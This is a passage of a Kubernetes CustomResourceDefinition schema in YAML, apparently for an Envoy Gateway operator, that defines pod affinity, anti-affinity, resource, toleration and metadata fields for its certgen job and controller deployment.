                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  items:
                                    description: |-
                                      GatewayCertgenJobContainer allows customization of the gateway certgen job's resource
                                      requirements.
                                      If GatewayCertgenJob.Spec.Template.Spec.Containers["envoy-gateway-certgen"].Resources is non-nil,
                                      it overrides the ResourceRequirements of the job's "envoy-gateway-certgen" container.
                                    properties:
                                      name:
                                        enum:
                                        - envoy-gateway-certgen
                                        type: string
                                      resources:
                                        description: ResourceRequirements describes
                                          the compute resource requirements.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  type: object
                                tolerations:
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
                gatewayControllerDeployment:
                  description: Allow optional customization of the gateway controller
                    deployment.
                  properties:
                    metadata:
                      description: Metadata contains the standard Kubernetes labels
                        and annotations fields.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: |-
                        GatewayControllerDeploymentSpec allows customization of the gateway controller deployment spec.
                        If GatewayControllerDeployment.Spec.MinReadySeconds is non-nil, it sets the minReadySeconds field
                        for the deployment.
                        For customization of the pod template see GatewayControllerDeploymentPodTemplate.
                      properties:
                        minReadySeconds:
                          format: int32
                          maximum: 2147483647
                          minimum: 0
                          type: integer
                        template:
                          description: |-
                            GatewayControllerDeploymentPodTemplate allows customization of the gateway controller deployment
                            pod template.
                            If GatewayControllerDeployment.Spec.Template.Metadata is non-nil, non-clashing labels and
                            annotations from that metadata are added into the deployment's pod template.
                            For customization of the pod template spec see GatewayControllerDeploymentPodSpec.
                          properties:
                            metadata:
                              description: Metadata contains the standard Kubernetes
                                labels and annotations fields.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
